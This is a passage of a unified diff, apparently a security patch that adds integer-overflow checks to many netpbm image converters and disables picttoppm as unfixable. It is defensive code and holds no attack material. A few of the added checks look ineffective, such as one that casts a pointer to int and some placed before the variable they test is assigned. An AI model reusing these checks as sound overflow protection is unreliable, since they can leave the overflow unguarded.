         PNM_ASSIGN1((*colorsP)[1], *maxvalP);
+        overflow_add(h10P->pixmap_width, 15);
+        if(h10P->pixmap_width < 0)
+            pm_error("assert: negative width");
+        overflow2((((h10P->pixmap_width + 15) / 16) * 16 - h10P->pixmap_width), 8);
         *padrightP =
             (((h10P->pixmap_width + 15) / 16) * 16 - h10P->pixmap_width) * 8;
         *bits_per_itemP = 16;
@@ -634,6 +638,7 @@ processX11Header(X11WDFileHeader *  cons
 
     *colsP = h11FixedP->pixmap_width;
     *rowsP = h11FixedP->pixmap_height;
+    overflow2(h11FixedP->bytes_per_line, 8);
     *padrightP =
         h11FixedP->bytes_per_line * 8 -
         h11FixedP->pixmap_width * h11FixedP->bits_per_pixel;
diff -up netpbm-10.47.04/converter/pbm/icontopbm.c.security netpbm-10.47.04/converter/pbm/icontopbm.c
--- netpbm-10.47.04/converter/pbm/icontopbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/icontopbm.c	2009-10-21 15:09:33.000000000 +0200
@@ -11,6 +11,7 @@
 */
 
 #include <string.h>
+#include <limits.h>
 
 #include "nstring.h"
 #include "pbm.h"
@@ -87,6 +88,11 @@ ReadIconFile(FILE *                const
     if ( *heightP <= 0 )
         pm_error( "invalid height (must be positive): %d", *heightP );
 
+    if ( *widthP > INT_MAX - 16 || *widthP < 0)
+        pm_error( "invalid width: %d", *widthP);
+    
+    overflow2(*widthP + 16, *heightP);
+    
     data_length = BitmapSize( *widthP, *heightP );
     *dataP = (short unsigned int *) malloc( data_length );
     if ( *dataP == NULL )
diff -up netpbm-10.47.04/converter/pbm/mdatopbm.c.security netpbm-10.47.04/converter/pbm/mdatopbm.c
--- netpbm-10.47.04/converter/pbm/mdatopbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/mdatopbm.c	2009-10-21 15:09:33.000000000 +0200
@@ -245,10 +245,13 @@ main(int argc, char **argv) {
         pm_readlittleshort(infile, &yy); nInCols = yy;
     }
     
+    overflow2(nOutCols, 8);
     nOutCols = 8 * nInCols;
     nOutRows = nInRows;
-    if (bScale) 
+    if (bScale) {
+        overflow2(nOutRows, 2);
         nOutRows *= 2;
+    }
 
     data = pbm_allocarray(nOutCols, nOutRows);
     
diff -up netpbm-10.47.04/converter/pbm/mgrtopbm.c.security netpbm-10.47.04/converter/pbm/mgrtopbm.c
--- netpbm-10.47.04/converter/pbm/mgrtopbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/mgrtopbm.c	2009-10-21 15:09:33.000000000 +0200
@@ -65,6 +65,8 @@ readMgrHeader(FILE *          const ifP,
     if (head.h_high < ' ' || head.l_high < ' ')
         pm_error("Invalid width field in MGR header");
     
+    overflow_add(*colsP, pad);
+
     *colsP = (((int)head.h_wide - ' ') << 6) + ((int)head.l_wide - ' ');
     *rowsP = (((int)head.h_high - ' ') << 6) + ((int) head.l_high - ' ');
     *padrightP = ( ( *colsP + pad - 1 ) / pad ) * pad - *colsP;
diff -up netpbm-10.47.04/converter/pbm/pbmto10x.c.security netpbm-10.47.04/converter/pbm/pbmto10x.c
--- netpbm-10.47.04/converter/pbm/pbmto10x.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmto10x.c	2009-10-21 15:09:33.000000000 +0200
@@ -162,7 +162,7 @@ main(int argc, char * argv[]) {
         res_60x72();
 
     pm_close(ifp);
-    exit(0);
+    return 0;
 }
 
 
diff -up netpbm-10.47.04/converter/pbm/pbmto4425.c.security netpbm-10.47.04/converter/pbm/pbmto4425.c
--- netpbm-10.47.04/converter/pbm/pbmto4425.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmto4425.c	2009-10-21 15:09:33.000000000 +0200
@@ -2,6 +2,7 @@
 
 #include "nstring.h"
 #include "pbm.h"
+#include <string.h>
 
 static char bit_table[2][3] = {
 {1, 4, 0x10},
@@ -160,7 +161,7 @@ main(int argc, char * argv[]) {
     xres = vmap_width * 2;
     yres = vmap_height * 3;
 
-    vmap = malloc(vmap_width * vmap_height * sizeof(char));
+    vmap = malloc3(vmap_width, vmap_height, sizeof(char));
     if(vmap == NULL)
 	{
         pm_error( "Cannot allocate memory" );
diff -up netpbm-10.47.04/converter/pbm/pbmtoascii.c.security netpbm-10.47.04/converter/pbm/pbmtoascii.c
--- netpbm-10.47.04/converter/pbm/pbmtoascii.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtoascii.c	2009-10-21 15:09:33.000000000 +0200
@@ -115,9 +115,11 @@ char* argv[];
         pm_usage( usage );
 
     pbm_readpbminit( ifp, &cols, &rows, &format );
+    overflow_add(cols, gridx);
     ccols = ( cols + gridx - 1 ) / gridx;
     bitrow = pbm_allocrow( cols );
     sig = (int*) pm_allocrow( ccols, sizeof(int) );
+    overflow_add(ccols, 1);
     line = (char*) pm_allocrow( ccols + 1, sizeof(char) );
 
     for ( row = 0; row < rows; row += gridy )
diff -up netpbm-10.47.04/converter/pbm/pbmtocmuwm.c.security netpbm-10.47.04/converter/pbm/pbmtocmuwm.c
diff -up netpbm-10.47.04/converter/pbm/pbmtogem.c.security netpbm-10.47.04/converter/pbm/pbmtogem.c
--- netpbm-10.47.04/converter/pbm/pbmtogem.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtogem.c	2009-10-21 15:09:33.000000000 +0200
@@ -123,6 +123,7 @@ putinit (rows, cols)
   bitsperitem = 0;
   bitshift = 7;
   outcol = 0;
+  overflow_add(cols, 7);
   outmax = (cols + 7) / 8;
   outrow = (unsigned char *) pm_allocrow (outmax, sizeof (unsigned char));
   lastrow = (unsigned char *) pm_allocrow (outmax, sizeof (unsigned char));
diff -up netpbm-10.47.04/converter/pbm/pbmtogo.c.security netpbm-10.47.04/converter/pbm/pbmtogo.c
--- netpbm-10.47.04/converter/pbm/pbmtogo.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtogo.c	2009-10-21 15:09:33.000000000 +0200
@@ -158,6 +158,7 @@ main(int           argc,
     bitrow = pbm_allocrow(cols);
 
     /* Round cols up to the nearest multiple of 8. */
+    overflow_add(cols, 7);
     rucols = ( cols + 7 ) / 8;
     bytesperrow = rucols;       /* GraphOn uses bytes */
     rucols = rucols * 8;
diff -up netpbm-10.47.04/converter/pbm/pbmtoicon.c.security netpbm-10.47.04/converter/pbm/pbmtoicon.c
--- netpbm-10.47.04/converter/pbm/pbmtoicon.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtoicon.c	2009-10-21 15:38:55.000000000 +0200
@@ -114,6 +114,7 @@ writeIcon(FILE *       const ifP,
     unsigned char * bitrow;
     unsigned int row;
 
+    overflow_add(cols, 15);
     bitbuffer = pbm_allocrow_packed(cols + wordintSize);
     bitrow = &bitbuffer[1];
     bitbuffer[0] = 0;
diff -up netpbm-10.47.04/converter/pbm/pbmtolj.c.security netpbm-10.47.04/converter/pbm/pbmtolj.c
--- netpbm-10.47.04/converter/pbm/pbmtolj.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtolj.c	2009-10-21 15:09:33.000000000 +0200
@@ -120,7 +120,11 @@ parseCommandLine(int argc, char ** argv,
 static void
 allocateBuffers(unsigned int const cols) {
 
+    overflow_add(cols, 8);
     rowBufferSize = (cols + 7) / 8;
+    overflow_add(rowBufferSize, 128);
+    overflow_add(rowBufferSize, rowBufferSize+128);
+    overflow_add(rowBufferSize+10, rowBufferSize/8);
     packBufferSize = rowBufferSize + (rowBufferSize + 127) / 128 + 1;
     deltaBufferSize = rowBufferSize + rowBufferSize / 8 + 10;
 
diff -up netpbm-10.47.04/converter/pbm/pbmtomacp.c.security netpbm-10.47.04/converter/pbm/pbmtomacp.c
--- netpbm-10.47.04/converter/pbm/pbmtomacp.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtomacp.c	2009-10-21 15:09:33.000000000 +0200
@@ -101,6 +101,7 @@ char *argv[];
   if( !lflg )
     left = 0;
 
+  overflow_add(left, MAX_COLS - 1);
   if( rflg )
   { if( right - left >= MAX_COLS )
       right = left + MAX_COLS - 1;
@@ -111,6 +112,8 @@ char *argv[];
   if( !tflg )
     top = 0;
 
+  overflow_add(top, MAX_LINES - 1);
+
   if( bflg )
   { if( bottom - top >= MAX_LINES )
       bottom = top + MAX_LINES - 1;
diff -up netpbm-10.47.04/converter/pbm/pbmtomda.c.security netpbm-10.47.04/converter/pbm/pbmtomda.c
--- netpbm-10.47.04/converter/pbm/pbmtomda.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtomda.c	2009-10-21 15:09:33.000000000 +0200
@@ -179,6 +179,7 @@ int main(int argc, char **argv)
     
     nOutRowsUnrounded = bScale ? nInRows/2 : nInRows;
 
+    overflow_add(nOutRowsUnrounded, 3);
     nOutRows = ((nOutRowsUnrounded + 3) / 4) * 4;
         /* MDA wants rows a multiple of 4 */   
     nOutCols = nInCols / 8;
diff -up netpbm-10.47.04/converter/pbm/pbmtomgr.c.security netpbm-10.47.04/converter/pbm/pbmtomgr.c
diff -up netpbm-10.47.04/converter/pbm/pbmtoppa/pbm.c.security netpbm-10.47.04/converter/pbm/pbmtoppa/pbm.c
--- netpbm-10.47.04/converter/pbm/pbmtoppa/pbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtoppa/pbm.c	2009-10-21 15:09:33.000000000 +0200
@@ -105,6 +105,7 @@ int pbm_readline(pbm_stat* pbm,unsigned 
     return 0;
 
   case P4:
+    overflow_add(pbm->width, 7);
     tmp=(pbm->width+7)/8;
     tmp2=fread(data,1,tmp,pbm->fptr);
     if(tmp2 == tmp)
@@ -129,7 +130,8 @@ void pbm_unreadline (pbm_stat *pbm, void
     return;
 
   pbm->unread = 1;
-  pbm->revdata = malloc ((pbm->width+7)/8);
+  overflow_add(pbm->width, 7);
+  pbm->revdata = malloc((pbm->width+7)/8);
   memcpy (pbm->revdata, data, (pbm->width+7)/8);
   pbm->current_line--;
 }
diff -up netpbm-10.47.04/converter/pbm/pbmtoppa/pbmtoppa.c.security netpbm-10.47.04/converter/pbm/pbmtoppa/pbmtoppa.c
--- netpbm-10.47.04/converter/pbm/pbmtoppa/pbmtoppa.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtoppa/pbmtoppa.c	2009-10-21 15:09:33.000000000 +0200
@@ -441,6 +441,7 @@ main(int argc, char *argv[]) {
             pm_error("main(): unrecognized parameter '%s'", argv[argn]);
     }
 
+    overflow_add(Width, 7);
     Pwidth=(Width+7)/8;
     printer.fptr=out;
 
diff -up netpbm-10.47.04/converter/pbm/pbmtoxbm.c.security netpbm-10.47.04/converter/pbm/pbmtoxbm.c
--- netpbm-10.47.04/converter/pbm/pbmtoxbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtoxbm.c	2009-10-21 15:36:54.000000000 +0200
@@ -335,6 +335,8 @@ convertRaster(FILE *          const ifP,
 
     unsigned char * bitrow;
     unsigned int row;
+    
+    overflow_add(cols, padright);
 
     putinit(xbmVersion);
 
diff -up netpbm-10.47.04/converter/pbm/pbmtoybm.c.security netpbm-10.47.04/converter/pbm/pbmtoybm.c
--- netpbm-10.47.04/converter/pbm/pbmtoybm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtoybm.c	2009-10-21 15:09:33.000000000 +0200
@@ -45,6 +45,7 @@ main( argc, argv )
     bitrow = pbm_allocrow( cols );
     
     /* Compute padding to round cols up to the nearest multiple of 16. */
+    overflow_add(cols, 16);
     padright = ( ( cols + 15 ) / 16 ) * 16 - cols;
 
     putinit( cols, rows );
diff -up netpbm-10.47.04/converter/pbm/pbmtozinc.c.security netpbm-10.47.04/converter/pbm/pbmtozinc.c
--- netpbm-10.47.04/converter/pbm/pbmtozinc.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtozinc.c	2009-10-21 15:09:33.000000000 +0200
@@ -65,6 +65,7 @@ main(int argc, char * argv[]) {
     bitrow = pbm_allocrow( cols );
 
     /* Compute padding to round cols up to the nearest multiple of 16. */
+    overflow_add(cols, 16);
     padright = ( ( cols + 15 ) / 16 ) * 16 - cols;
 
     printf( "USHORT %s[] = {\n",name);
diff -up netpbm-10.47.04/converter/pbm/pktopbm.c.security netpbm-10.47.04/converter/pbm/pktopbm.c
--- netpbm-10.47.04/converter/pbm/pktopbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pktopbm.c	2009-10-21 15:09:33.000000000 +0200
@@ -277,6 +277,7 @@ main(int argc, char *argv[]) {
         if (flagbyte == 7) {            /* long form preamble */
             integer packetlength = get32() ;    /* character packet length */
             car = get32() ;         /* character number */
+            overflow_add(packetlength, pktopbm_pkloc);
             endofpacket = packetlength + pktopbm_pkloc;
                 /* calculate end of packet */
             if ((car >= MAXPKCHAR) || !filename[car]) {
diff -up netpbm-10.47.04/converter/pbm/thinkjettopbm.l.security netpbm-10.47.04/converter/pbm/thinkjettopbm.l
--- netpbm-10.47.04/converter/pbm/thinkjettopbm.l.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/thinkjettopbm.l	2009-10-21 15:09:33.000000000 +0200
@@ -107,7 +107,9 @@ DIG             [0-9]
 <RASTERMODE>\033\*b{DIG}+W  {
                             int l;
                             if (rowCount >= rowCapacity) {
+				overflow_add(rowCapacity, 100);
                                 rowCapacity += 100;
+				overflow2(rowCapacity, sizeof *rows);
                                 rows = realloc (rows, rowCapacity * sizeof *rows);
                                 if (rows == NULL)
                                     pm_error ("Out of memory.");
@@ -217,6 +219,8 @@ yywrap (void)
     /*
      * Quite simple since ThinkJet bit arrangement matches PBM
      */
+
+    overflow2(maxRowLength, 8);
     pbm_writepbminit(stdout, maxRowLength*8, rowCount, 0);
 
     packed_bitrow = malloc(maxRowLength);
diff -up netpbm-10.47.04/converter/pbm/ybmtopbm.c.security netpbm-10.47.04/converter/pbm/ybmtopbm.c
--- netpbm-10.47.04/converter/pbm/ybmtopbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/ybmtopbm.c	2009-10-21 15:09:33.000000000 +0200
@@ -88,6 +88,7 @@ getinit( file, colsP, rowsP, depthP, pad
 	pm_error( "EOF / read error" );
 
     *depthP = 1;
+    overflow_add(*colsP, 15);
     *padrightP = ( ( *colsP + 15 ) / 16 ) * 16 - *colsP;
     bitsperitem = 0;
     }
diff -up netpbm-10.47.04/converter/pgm/lispmtopgm.c.security netpbm-10.47.04/converter/pgm/lispmtopgm.c
--- netpbm-10.47.04/converter/pgm/lispmtopgm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/pgm/lispmtopgm.c	2009-10-21 15:09:33.000000000 +0200
@@ -58,6 +58,7 @@ main( argc, argv )
         pm_error( "depth (%d bits) is too large", depth);
 
     pgm_writepgminit( stdout, cols, rows, (gray) maxval, 0 );
+    overflow_add(cols, 7);
     grayrow = pgm_allocrow( ( cols + 7 ) / 8 * 8 );
 
     for ( row = 0; row < rows; ++row )
@@ -102,7 +103,9 @@ getinit( file, colsP, rowsP, depthP, pad
     
     if ( *depthP == 0 )
 	*depthP = 1;	/* very old file */
-    
+
+    overflow_add((int)colsP, 31);
+        
     *padrightP = ( ( *colsP + 31 ) / 32 ) * 32 - *colsP;
     
     if ( *colsP != (cols_32 - *padrightP) ) {
diff -up netpbm-10.47.04/converter/pgm/psidtopgm.c.security netpbm-10.47.04/converter/pgm/psidtopgm.c
--- netpbm-10.47.04/converter/pgm/psidtopgm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/pgm/psidtopgm.c	2009-10-21 15:09:33.000000000 +0200
@@ -78,6 +78,7 @@ main(int     argc,
         pm_error("bits/sample (%d) is too large.", bitspersample);
 
     pgm_writepgminit(stdout, cols, rows, maxval, 0);
+    overflow_add(cols, 7);
     grayrow = pgm_allocrow((cols + 7) / 8 * 8);
     for (row = 0; row < rows; ++row) {
         unsigned int col;
diff -up netpbm-10.47.04/converter/ppm/ilbmtoppm.c.security netpbm-10.47.04/converter/ppm/ilbmtoppm.c
--- netpbm-10.47.04/converter/ppm/ilbmtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ilbmtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -594,6 +594,7 @@ decode_row(FILE *          const ifP,
     rawtype *chp;
 
     cols = bmhdP->w;
+    overflow_add(cols, 15);
     bytes = RowBytes(cols);
     for( plane = 0; plane < nPlanes; plane++ ) {
         int mask;
@@ -681,6 +682,23 @@ decode_mask(FILE *          const ifP,
  Multipalette handling
  ****************************************************************************/
 
+static void *
+xmalloc2(x, y)
+    int x;
+    int y;
+{
+    void *mem;
+
+    overflow2(x,y);
+    if( x * y == 0 )
+        return NULL;
+
+    mem = malloc2(x,y);
+    if( mem == NULL )
+        pm_error("out of memory allocating %d bytes", x * y);
+    return mem;
+}
+
 
 static void
 multi_adjust(cmap, row, palchange)
@@ -1300,6 +1318,9 @@ dcol_to_ppm(FILE *         const ifP,
     if( redmaxval != maxval || greenmaxval != maxval || bluemaxval != maxval )
         pm_message("scaling colors to %d bits", pm_maxvaltobits(maxval));
     
+    overflow_add(redmaxval, 1);
+    overflow_add(greenmaxval, 1);
+    overflow_add(bluemaxval, 1);
     MALLOCARRAY_NOFAIL(redtable,   redmaxval   +1);
     MALLOCARRAY_NOFAIL(greentable, greenmaxval +1);
     MALLOCARRAY_NOFAIL(bluetable,  bluemaxval  +1);
@@ -1729,7 +1750,9 @@ PCHG_ConvertSmall(PCHG, cmap, mask, data
             ChangeCount32 = *data++;
             datasize -= 2;
 
+            overflow_add(ChangeCount16, ChangeCount32);
             changes = ChangeCount16 + ChangeCount32;
+            overflow_add(changes, 1);
             for( i = 0; i < changes; i++ ) {
                 if( totalchanges >= PCHG->TotalChanges ) goto fail;
                 if( datasize < 2 ) goto fail;
@@ -1994,6 +2017,9 @@ read_pchg(FILE *     const ifp,
             cmap->mp_change[i] = NULL;
         if( PCHG.StartLine < 0 ) {
             int nch;
+            if(PCHG.MaxReg < PCHG.MinReg)
+                pm_error("assert: MinReg > MaxReg");
+            overflow_add(PCHG.MaxReg-PCHG.MinReg, 2);
             nch = PCHG.MaxReg - PCHG.MinReg +1;
             MALLOCARRAY_NOFAIL(cmap->mp_init, nch + 1);
             for( i = 0; i < nch; i++ )
@@ -2070,6 +2096,7 @@ process_body( FILE *          const ifp,
     if( typeid == ID_ILBM ) {
         int isdeep;
 
+        overflow_add(bmhdP->w, 15);
         MALLOCARRAY_NOFAIL(ilbmrow, RowBytes(bmhdP->w));
         *viewportmodesP |= fakeviewport;      /* -isham/-isehb */
 
diff -up netpbm-10.47.04/converter/ppm/imgtoppm.c.security netpbm-10.47.04/converter/ppm/imgtoppm.c
--- netpbm-10.47.04/converter/ppm/imgtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/imgtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -84,6 +84,7 @@ main(int argc, char ** argv) {
             len = atoi((char*) buf );
             if ( fread( buf, len, 1, ifp ) != 1 )
                 pm_error( "bad colormap buf" );
+            overflow2(cmaplen, 3);
             if ( cmaplen * 3 != len )
             {
                 pm_message(
@@ -105,6 +106,7 @@ main(int argc, char ** argv) {
                 pm_error( "bad pixel data header" );
             buf[8] = '\0';
             len = atoi((char*) buf );
+            overflow2(cols, rows);
             if ( len != cols * rows )
                 pm_message(
                     "pixel data length (%d) does not match image size (%d)",
diff -up netpbm-10.47.04/converter/ppm/Makefile.security netpbm-10.47.04/converter/ppm/Makefile
--- netpbm-10.47.04/converter/ppm/Makefile.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/Makefile	2009-10-21 15:09:33.000000000 +0200
@@ -11,7 +11,7 @@ SUBDIRS = hpcdtoppm ppmtompeg
 
 PORTBINARIES =	411toppm eyuvtoppm gouldtoppm ilbmtoppm imgtoppm \
 		leaftoppm mtvtoppm neotoppm \
-		pcxtoppm pc1toppm pi1toppm picttoppm pjtoppm \
+		pcxtoppm pc1toppm pi1toppm pjtoppm \
 		ppmtoacad ppmtoarbtxt \
 		ppmtobmp ppmtoeyuv ppmtogif ppmtoicr ppmtoilbm \
 		ppmtoleaf ppmtolj ppmtomitsu ppmtoneo \
diff -up netpbm-10.47.04/converter/ppm/pcxtoppm.c.security netpbm-10.47.04/converter/ppm/pcxtoppm.c
--- netpbm-10.47.04/converter/ppm/pcxtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/pcxtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -409,6 +409,7 @@ pcx_planes_to_pixels(pixels, bitplanes, 
     /*
      * clear the pixel buffer
      */
+    overflow2(bytesperline, 8);
     npixels = (bytesperline * 8) / bitsperpixel;
     p    = pixels;
     while (--npixels >= 0)
@@ -470,6 +471,7 @@ pcx_16col_to_ppm(FILE *       const ifP,
     }
 
     /*  BytesPerLine should be >= BitsPerPixel * cols / 8  */
+    overflow2(BytesPerLine, 8);
     rawcols = BytesPerLine * 8 / BitsPerPixel;
     if (headerCols > rawcols) {
         pm_message("warning - BytesPerLine = %d, "
diff -up netpbm-10.47.04/converter/ppm/picttoppm.c.security netpbm-10.47.04/converter/ppm/picttoppm.c
--- netpbm-10.47.04/converter/ppm/picttoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/picttoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -1,3 +1,5 @@
+#error "Unfixable. Don't ship me"
+
 /*
  * picttoppm.c -- convert a MacIntosh PICT file to PPM format.
  *
diff -up netpbm-10.47.04/converter/ppm/pjtoppm.c.security netpbm-10.47.04/converter/ppm/pjtoppm.c
--- netpbm-10.47.04/converter/ppm/pjtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/pjtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -127,19 +127,21 @@ main(argc, argv)
                 case 'V':   /* send plane */
                 case 'W':   /* send last plane */
                     if (rows == -1 || r >= rows || image == NULL) {
-                        if (rows == -1 || r >= rows)
+                        if (rows == -1 || r >= rows) {
+                            overflow_add(rows, 100);
                             rows += 100;
+                        }
                         if (image == NULL) {
-                            MALLOCARRAY(image, rows * planes);
-                            MALLOCARRAY(imlen, rows * planes);
+                            image = (unsigned char **)
+                                malloc3(rows , planes , sizeof(unsigned char *));
+                            imlen = (int *) malloc3(rows , planes,  sizeof(int));
                         }
                         else {
+                            overflow2(rows,planes);
                             image = (unsigned char **) 
-                                realloc(image, 
-                                        rows * planes * 
+                                realloc2(image, rows * planes,
                                         sizeof(unsigned char *));
-                            imlen = (int *) 
-                                realloc(imlen, rows * planes * sizeof(int));
+                            imlen = (int *) realloc2(imlen, rows * planes, sizeof(int));
                         }
                     }
                     if (image == NULL || imlen == NULL)
@@ -212,8 +214,10 @@ main(argc, argv)
                 for (i = 0, c = 0; c < imlen[p + r * planes]; c += 2)
                     for (cmd = image[p + r * planes][c],
                              val = image[p + r * planes][c+1]; 
-                         cmd >= 0 && i < newcols; cmd--, i++) 
+                         cmd >= 0 && i < newcols; cmd--, i++) {
                         buf[i] = val;
+                        overflow_add(i, 1);
+                    }
                 cols = cols > i ? cols : i;
                 free(image[p + r * planes]);
                 /* 
@@ -224,6 +228,7 @@ main(argc, argv)
                 image[p + r * planes] = (unsigned char *) realloc(buf, i);
             }
         }
+        overflow2(cols, 8);
         cols *= 8;
     }
             
diff -up netpbm-10.47.04/converter/ppm/ppmtoeyuv.c.security netpbm-10.47.04/converter/ppm/ppmtoeyuv.c
--- netpbm-10.47.04/converter/ppm/ppmtoeyuv.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtoeyuv.c	2009-10-21 15:09:33.000000000 +0200
@@ -114,6 +114,7 @@ create_multiplication_tables(const pixva
 
     int index;
 
+    overflow_add(maxval, 1);
     MALLOCARRAY_NOFAIL(mult299   , maxval+1);
     MALLOCARRAY_NOFAIL(mult587   , maxval+1);
     MALLOCARRAY_NOFAIL(mult114   , maxval+1);
diff -up netpbm-10.47.04/converter/ppm/ppmtoicr.c.security netpbm-10.47.04/converter/ppm/ppmtoicr.c
--- netpbm-10.47.04/converter/ppm/ppmtoicr.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtoicr.c	2009-10-21 15:09:33.000000000 +0200
@@ -169,7 +169,7 @@ char* argv[];
 
 	if (rleflag) {	
 		pm_message("sending run-length encoded picture data ..." );
-		testimage = (char*) malloc(rows*cols);
+		testimage = (char*) malloc2(rows, cols);
 		p = testimage;
 		for (i=0; i<rows; i++)
 			for (j=0; j<cols; j++) 
diff -up netpbm-10.47.04/converter/ppm/ppmtoilbm.c.security netpbm-10.47.04/converter/ppm/ppmtoilbm.c
--- netpbm-10.47.04/converter/ppm/ppmtoilbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtoilbm.c	2009-10-21 15:47:50.000000000 +0200
@@ -1214,6 +1214,7 @@ ppm_to_rgb8(ifP, cols, rows, maxval)
 
     maskmethod = 0;     /* no masking - RGB8 uses genlock bits */
     compmethod = 4;     /* RGB8 files are always compressed */
+    overflow2(cols, 4);
     MALLOCARRAY_NOFAIL(compr_row, cols * 4);
 
     if( maxval != 255 ) {
@@ -1302,6 +1303,7 @@ ppm_to_rgbn(ifP, cols, rows, maxval)
 
     maskmethod = 0;     /* no masking - RGBN uses genlock bits */
     compmethod = 4;     /* RGBN files are always compressed */
+    overflow2(cols, 2);
     MALLOCARRAY_NOFAIL(compr_row, cols * 2);
 
     if( maxval != 15 ) {
@@ -1779,6 +1781,7 @@ make_val_table(oldmaxval, newmaxval)
     unsigned int i;
     int * table;
 
+    overflow_add(oldmaxval, 1);
     MALLOCARRAY_NOFAIL(table, oldmaxval + 1);
     for (i = 0; i <= oldmaxval; ++i)
         table[i] = ROUNDDIV(i * newmaxval, oldmaxval);
@@ -2283,8 +2286,11 @@ main(int argc, char ** argv) {
         MALLOCARRAY_NOFAIL(coded_rowbuf, RowBytes(cols));
         for (i = 0; i < RowBytes(cols); ++i)
             coded_rowbuf[i] = 0;
-        if (DO_COMPRESS)
+        if (DO_COMPRESS) {
+            overflow2(cols,2);
+            overflow_add(cols*2,2);
             MALLOCARRAY_NOFAIL(compr_rowbuf, WORSTCOMPR(RowBytes(cols)));
+	}
     }
     
     switch (mode) {
diff -up netpbm-10.47.04/converter/ppm/ppmtolj.c.security netpbm-10.47.04/converter/ppm/ppmtolj.c
--- netpbm-10.47.04/converter/ppm/ppmtolj.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtolj.c	2009-10-21 15:09:33.000000000 +0200
@@ -181,7 +181,8 @@ int main(int argc, char *argv[]) {
 
     ppm_readppminit( ifp, &cols, &rows, &maxval, &format );
     pixelrow = ppm_allocrow( cols );
-
+    
+    overflow2(cols, 6);
     obuf = (unsigned char *) pm_allocrow(cols * 3, sizeof(unsigned char));
     cbuf = (unsigned char *) pm_allocrow(cols * 6, sizeof(unsigned char));
     if (mode == C_TRANS_MODE_DELTA)
diff -up netpbm-10.47.04/converter/ppm/ppmtomitsu.c.security netpbm-10.47.04/converter/ppm/ppmtomitsu.c
--- netpbm-10.47.04/converter/ppm/ppmtomitsu.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtomitsu.c	2009-10-21 15:48:30.000000000 +0200
@@ -685,6 +685,8 @@ main(int argc, char * argv[]) {
         medias = MSize_User;
 
     if (dpi300) {
+        overflow2(medias.maxcols, 2);
+        overflow2(medias.maxrows, 2);
         medias.maxcols *= 2;
         medias.maxrows *= 2;
     }
diff -up netpbm-10.47.04/converter/ppm/ppmtompeg/iframe.c.security netpbm-10.47.04/converter/ppm/ppmtompeg/iframe.c
--- netpbm-10.47.04/converter/ppm/ppmtompeg/iframe.c.security	2009-10-21 13:39:09.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtompeg/iframe.c	2009-10-21 15:09:33.000000000 +0200
@@ -800,7 +800,8 @@ BlockComputeSNR(MpegFrame * const curren
     if (needs_init) {
         int ysz = (Fsize_y>>3) * sizeof(int32 *);
         int xsz = (Fsize_x>>3);
-    
+
+	overflow2((Fsize_y>>3), sizeof(int32 *));
         needs_init = FALSE;
         for (y=0; y<3; y++) {
             varDiff[y] = ratio[y] = total[y] = 0.0;
@@ -819,6 +820,7 @@ BlockComputeSNR(MpegFrame * const curren
             fprintf(stderr, "Out of memory in BlockComputeSNR\n");
             exit(-1);
         }
+	overflow2(xsz,4);
         for (y = 0; y < ySize[0]>>3; y++) {
             SignalY[y]  = (int32 *) calloc(xsz,4);
             SignalCr[y]  = (int32 *) calloc(xsz,4);
diff -up netpbm-10.47.04/converter/ppm/ppmtompeg/parallel.c.security netpbm-10.47.04/converter/ppm/ppmtompeg/parallel.c
